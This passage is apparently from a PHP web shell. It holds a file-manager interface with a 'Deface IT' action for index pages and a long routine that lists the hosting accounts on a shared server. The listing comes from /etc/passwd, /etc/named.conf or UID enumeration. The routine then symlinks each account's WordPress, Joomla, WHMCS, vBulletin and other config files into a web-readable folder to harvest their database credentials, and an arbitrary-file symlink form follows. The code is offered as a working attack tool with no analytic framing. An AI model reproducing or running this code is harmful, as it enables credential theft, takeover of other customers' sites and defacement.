1037 <td class='info'><a href=javascript:void(0) onClick="fileaction('perms','<?php echo $vv; ?>')"><?php echo filepermscolor($dir . $directorysperator . $val); ?></a></td>
1038 <?php if($os != 'Windows')
1039 {
1040 echo "<td align=center><font size=2>";
1041 echo getOGid($val)."</font></td>";
1042 } ?>
1043 <td align="center"><font class=txt><?php echo date('Y-m-d H:i:s', @filemtime($dir . $directorysperator . $val)); ?></font></td>
1044 <td class="info"><a href=javascript:void(0) onClick="fileaction('rename','<?php echo $vv; ?>')"><font size=2>Rename</font></a></td>
1045 <td></td>
1046 <td class="info" align="center"><input type="checkbox" name="actbox[]" id="actbox<?php echo $i; ?>" value="<?php echo $dir . $directorysperator . $val;?>"></td>
1047 </tr></font>
1048 <?php
1049 }
1050 else if(is_file($vv))
1051 {
1052 ?>
1053 <tr style="background-color:#0C0C0C;" onMouseOver="style.backgroundColor='#000000'" onMouseOut="style.backgroundColor='#0C0C0C'">
1054 <td class='file'><a href=javascript:void(0) onClick="fileaction('open','<?php echo $vv; ?>')"><?php if(("/" .$val == $_SERVER["SCRIPT_NAME"]) || ($val == "index.php") || ($val == "index.html") || ($val == "config.php") || ($val == "wp-config.php")) { echo "<font color=red>". $val . "</font>"; } else { echo $val; } ?></a> <?php if($val == "index.php" || $val == "index.html") { if(strlen($ind) != 0) { echo "<a href=javascript:void(0) onClick=\"defacefun('$vv')\"><font color=red>( Deface IT )</font></a>"; } } ?></td>
1055
1056 <td class='info'><font size=2><?php echo HumanReadableFilesize(filesize($dir . $directorysperator . $val));?></font></td>
1057
1058 <td class='info'><a href=javascript:void(0) onClick="fileaction('perms','<?php echo $vv; ?>')"><?php echo filepermscolor($dir . $directorysperator . $val); ?></a></td>
1059
1060 <?php if($os != 'Windows')
1061 {
1062 echo "<td align=center><font size=2>";
1063 echo getOGid($val)."</font></td>";
1064 } ?>
1065 <td align="center"><font class=txt><?php echo date('Y-m-d H:i:s', @filemtime($dir . $directorysperator . $val)); ?></font></td>
1066
1067 <td class="info"><a href=javascript:void(0) onClick="fileaction('rename','<?php echo $vv; ?>')"><font size=2>Rename</font></a></td>
1068 <td class="info"><a href="<?php echo $self;?>?download=<?php echo $dir . $directorysperator .$val;?>"><font size=2>Download</font></a>
1069 <td class="info" align="center"><input type="checkbox" name="actbox[]" id="actbox<?php echo $i; ?>" value="<?php echo $dir . $directorysperator . $val;?>"></td>
1070 </tr>
1071 <p>
1072 <?php
1073 }
1074 }
1075
1076 echo "</table>
1077<div align='right' style='width:100%;' id=maindiv><BR><label><input type='checkbox' name='checkall' onclick='checkedAll();'> <font class=txt size=3>Check All </font></label>
1078<select class=sbox name=choice style='width: 100px;'>
1079 <option value=delete>Delete</option>
1080 <option value=chmod>Change mode</option>
1081 if(class_exists('ZipArchive'))
1082 { <option value=compre>Compress</option>
1083 <option value=uncompre>Uncompress</option> }
1084 </select>
1085
1086 <input type=button onClick=\"myaction(choice.value)\" value=Submit name=checkoption class=but></form></div>";
1087 }}
1088 else
1089 {
1090 echo "<p><font size=3>".$_GET['dir']." is <b>NOT</b> a Valid Directory!<br /></font></p>";
1091 }
1092
1093}
1094if(isset($_REQUEST["script"]))
1095{
1096 $getpath = trim(dirname($_SERVER['SCRIPT_NAME']) . PHP_EOL);
1097 ?>
1098 <center><table><tr><td><a href=javascript:void(0) onClick="getdata('manuallyscript')"><font class=txt size="4">| Do It Manually |</font></a></td>
1099 <td><a href=javascript:void(0) onClick="getdata('scriptlocator')"><font class=txt size="4">| Do It Automatically |</font></a></td>
1100 </tr></table></center>
1101 <?php
1102}
1103else if(isset($_REQUEST['manuallyscript']))
1104{
1105 ?>
1106 <center>
1107 <form action="<?php echo $self; ?>" method="post">
1108 <textarea class="box" rows="16" cols="100" name="passwd"></textarea><br>
1109 <input type="button" OnClick="manuallyscriptfn(passwd.value)" value="Get Config" class="but">
1110 </form>
1111 </center>
1112 <?php
1113}
1114else if(isset($_REQUEST['scriptlocator']))
1115{
1116 if(stristr(php_uname(),"Linux"))
1117 {
1118 $url = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
1119 $path=explode('/',$url);
1120 $url =str_replace($path[count($path)-1],'',$url);
1121 function syml($usern,$pdomain)
1122 {
1123 symlink('/home/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
1124 symlink('/home/'.$usern.'/public_html/core/includes/config.php',$pdomain.'~~vBulletin5.txt');
1125 symlink('/home/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
1126 symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
1127 symlink('/home/'.$usern.'/public_html/vb/core/includes/config.php',$pdomain.'~~vBulletin5.txt');
1128 symlink('/home/'.$usern.'/public_html/inc/config.php',$pdomain.'~~mybb.txt');
1129 symlink('/home/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
1130 symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
1131 symlink('/home/'.$usern.'/public_html/conf_global.php',$pdomain.'~~ipb1.txt');
1132 symlink('/home/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
1133 symlink('/home/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
1134 symlink('/home/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
1135 symlink('/home/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
1136 symlink('/home/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
1137 symlink('/home/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
1138 symlink('/home/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
1139 symlink('/home/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
1140 symlink('/home/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
1141 symlink('/home/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
1142 symlink('/home/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
1143 symlink('/home/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
1144 symlink('/home/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
1145 symlink('/home/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
1146 symlink('/home/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
1147 symlink('/home/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
1148 symlink('/home/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
1149 symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
1150 symlink('/home/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
1151 symlink('/home/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
1152 symlink('/home/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
1153 symlink('/home/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
1154 symlink('/home/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
1155 symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
1156 symlink('/home2/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
1157 symlink('/home2/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
1158 symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
1159 symlink('/home2/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
1160 symlink('/home2/'.$usern.'/public_html/inc/config.php',$pdomain.'~~mybb.txt');
1161 symlink('/home2/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
1162 symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
1163 symlink('/home2/'.$usern.'/public_html/conf_global.php',$pdomain.'~~ipb2.txt');
1164 symlink('/home2/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
1165 symlink('/home2/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
1166 symlink('/home2/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
1167 symlink('/home2/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
1168 symlink('/home2/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
1169 symlink('/home2/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
1170 symlink('/home2/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
1171 symlink('/home2/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
1172 symlink('/home2/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
1173 symlink('/home2/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
1174 symlink('/home2/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
1175 symlink('/home2/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
1176 symlink('/home2/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
1177 symlink('/home2/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
1178 symlink('/home2/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
1179 symlink('/home2/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
1180 symlink('/home2/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
1181 symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
1182 symlink('/home2/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
1183 symlink('/home2/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
1184 symlink('/home2/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
1185 symlink('/home2/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
1186 symlink('/home2/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
1187 symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
1188 symlink('/home3/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
1189 symlink('/home3/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
1190 symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
1191 symlink('/home3/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
1192 symlink('/home3/'.$usern.'/public_html/inc/config.php',$pdomain.'~~mybb.txt');
1193 symlink('/home3/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
1194 symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
1195 symlink('/home3/'.$usern.'/public_html/conf_global.php',$pdomain.'~~ipb3.txt');
1196 symlink('/home3/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
1197 symlink('/home3/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
1198 symlink('/home3/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
1199 symlink('/home3/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
1200 symlink('/home3/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
1201 symlink('/home3/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
1202 symlink('/home3/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
1203 symlink('/home3/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
1204 symlink('/home3/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
1205 symlink('/home3/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
1206 symlink('/home3/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
1207 symlink('/home3/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
1208 symlink('/home3/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
1209 symlink('/home3/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
1210 symlink('/home3/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
1211 symlink('/home3/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
1212 symlink('/home3/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
1213 symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
1214 symlink('/home3/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
1215 symlink('/home3/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
1216 symlink('/home3/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
1217 symlink('/home3/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
1218 symlink('/home3/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
1219 symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
1220 symlink('/home4/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
1221 symlink('/home4/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
1222 symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
1223 symlink('/home4/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
1224 symlink('/home4/'.$usern.'/public_html/inc/config.php',$pdomain.'~~mybb.txt');
1225 symlink('/home4/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
1226 symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
1227 symlink('/home4/'.$usern.'/public_html/conf_global.php',$pdomain.'~~ipb4.txt');
1228 symlink('/home4/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
1229 symlink('/home4/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
1230 symlink('/home4/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
1231 symlink('/home4/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
1232 symlink('/home4/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
1233 symlink('/home4/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
1234 symlink('/home4/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
1235 symlink('/home4/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
1236 symlink('/home4/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
1237 symlink('/home4/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
1238 symlink('/home4/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
1239 symlink('/home4/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
1240 symlink('/home4/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
1241 symlink('/home4/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
1242 symlink('/home4/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
1243 symlink('/home4/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
1244 symlink('/home4/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
1245 symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
1246 symlink('/home4/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
1247 symlink('/home4/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
1248 symlink('/home4/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
1249 symlink('/home4/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
1250 symlink('/home4/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
1251 symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
1252 symlink('/home5/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
1253 symlink('/home5/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
1254 symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
1255 symlink('/home5/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
1256 symlink('/home5/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
1257 symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
1258 symlink('/home5/'.$usern.'/public_html/conf_global.php',$pdomain.'~~ipb5.txt');
1259 symlink('/home5/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
1260 symlink('/home5/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
1261 symlink('/home5/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
1262 symlink('/home5/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
1263 symlink('/home5/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
1264 symlink('/home5/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
1265 symlink('/home5/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
1266 symlink('/home5/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
1267 symlink('/home5/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
1268 symlink('/home5/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
1269 symlink('/home5/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
1270 symlink('/home5/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
1271 symlink('/home5/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
1272 symlink('/home5/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
1273 symlink('/home5/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
1274 symlink('/home5/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
1275 symlink('/home5/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
1276 symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
1277 symlink('/home5/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
1278 symlink('/home5/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
1279 symlink('/home5/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
1280 symlink('/home5/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
1281 symlink('/home5/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
1282 symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
1283 symlink('/home6/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
1284 symlink('/home6/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
1285 symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
1286 symlink('/home6/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
1287 symlink('/home6/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
1288 symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
1289 symlink('/home6/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
1290 symlink('/home6/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
1291 symlink('/home6/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
1292 symlink('/home6/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
1293 symlink('/home6/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
1294 symlink('/home6/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
1295 symlink('/home6/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
1296 symlink('/home6/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
1297 symlink('/home6/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
1298 symlink('/home6/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
1299 symlink('/home6/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
1300 symlink('/home6/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
1301 symlink('/home6/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
1302 symlink('/home6/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
1303 symlink('/home6/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
1304 symlink('/home6/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
1305 symlink('/home6/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
1306 symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
1307 symlink('/home6/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
1308 symlink('/home6/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
1309 symlink('/home6/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
1310 symlink('/home6/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
1311 symlink('/home6/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
1312 symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
1313 symlink('/home7/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
1314 symlink('/home7/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
1315 symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
1316 symlink('/home7/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
1317 symlink('/home7/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
1318 symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
1319 symlink('/home7/'.$usern.'/public_html/conf_global.php',$pdomain.'~~ipb7.txt');
1320 symlink('/home7/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
1321 symlink('/home7/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
1322 symlink('/home7/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
1323 symlink('/home7/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
1324 symlink('/home7/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
1325 symlink('/home7/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
1326 symlink('/home7/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
1327 symlink('/home7/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
1328 symlink('/home7/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
1329 symlink('/home7/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
1330 symlink('/home7/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
1331 symlink('/home7/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
1332 symlink('/home7/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
1333 symlink('/home7/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
1334 symlink('/home7/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
1335 symlink('/home7/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
1336 symlink('/home7/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
1337 symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
1338 symlink('/home7/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
1339 symlink('/home7/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
1340 symlink('/home7/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
1341 symlink('/home7/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
1342 symlink('/home7/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
1343 symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
1344 }
1345 if(isset($_REQUEST['passwd']))
1346 {
1347 $getetc = trim($_REQUEST['passwd']);
1348
1349 mkdir("dhanushSPT");
1350 chdir("dhanushSPT");
1351
1352 $myfile = fopen("test.txt","w");
1353 fputs($myfile,$getetc);
1354 fclose($myfile);
1355
1356 $file = fopen("test.txt", "r") or exit("Unable to open file!");
1357 while(!feof($file))
1358 {
1359 $s = fgets($file);
1360 $matches = array();
1361 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
1362 $matches = str_replace("home/","",$matches[1]);
1363 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
1364 continue;
1365 syml($matches,$matches);
1366 }
1367 fclose($file);
1368 unlink("test.txt");
1369 echo "<center><font class=txt size=3>[ Done ]</font></center>";
1370 echo "<br><center><a href=".$url."dhanushSPT target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
1371
1372 }
1373 else
1374 {
1375 $d0mains = @file("/etc/named.conf");
1376 if($d0mains)
1377 {
1378 mkdir("dhanushST");
1379 chdir("dhanushST");
1380
1381 foreach($d0mains as $d0main)
1382 {
1383 if(eregi("zone",$d0main))
1384 {
1385 preg_match_all('#zone "(.*)"#', $d0main, $domains);
1386 flush();
1387
1388 if(strlen(trim($domains[1][0])) > 2)
1389 {
1390 $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
1391
1392 syml($user['name'],$domains[1][0]);
1393 }
1394 }
1395 }
1396 echo "<center><font class=txt size=3>[ Done ]</font></center>";
1397 echo "<br><center><a href=".$url."dhanushST target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
1398 }
1399 else
1400 {
1401 mkdir("dhanushSPT");
1402 chdir("dhanushSPT");
1403 $temp = "";
1404 $val1 = 0;
1405 $val2 = 1000;
1406 for(;$val1 <= $val2;$val1++)
1407 {
1408 $uid = @posix_getpwuid($val1);
1409 if ($uid)
1410 $temp .= join(':',$uid)."\n";
1411 }
1412 echo '<br/>';
1413 $temp = trim($temp);
1414
1415 $file5 = fopen("test.txt","w");
1416 fputs($file5,$temp);
1417 fclose($file5);
1418
1419
1420 $file = fopen("test.txt", "r") or exit("Unable to open file!");
1421 while(!feof($file))
1422 {
1423 $s = fgets($file);
1424 $matches = array();
1425 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
1426 $matches = str_replace("home/","",$matches[1]);
1427 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
1428 continue;
1429 syml($matches,$matches);
1430 }
1431 fclose($file);
1432 echo "</table>";
1433 unlink("test.txt");
1434 echo "<center><font class=txt size=3>[ Done ]</font></center>";
1435 echo "<br><center><a href=".$url."dhanushSPT target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
1436 }
1437 }
1438 }
1439 else
1440 echo "<center>Cannot Complete the task!!!!</center>";
1441
1442}
1443else if(isset($_GET["symlinkfile"]))
1444{
1445 if(!isset($_GET['file']))
1446 {
1447 ?>
1448 <center>
1449 <form onSubmit="getdata('symlinkmyfile',file.value);return false;">
1450 <input type="text" class="box" name="file" size="50" value="/etc/passwd">
1451 <input type="button" value="Create Symlink" onClick="getdata('symlinkmyfile',file.value)" class="but">
1452 </form></center>
1453 <br><br>
1454 <?php
1455 }
1456}
1457
1458else if(isset($_GET['symlinkmyfile']))
1459{
1460 if(stristr(php_uname(),"Linux"))
1461 {
1462 $fakedir="cx";
1463 $fakedep=16;
1464
1465 $num=0; // offset of symlink.$num
1466
1467 if(!empty($_GET['myfile']))
1468 $file=$_GET['myfile'];
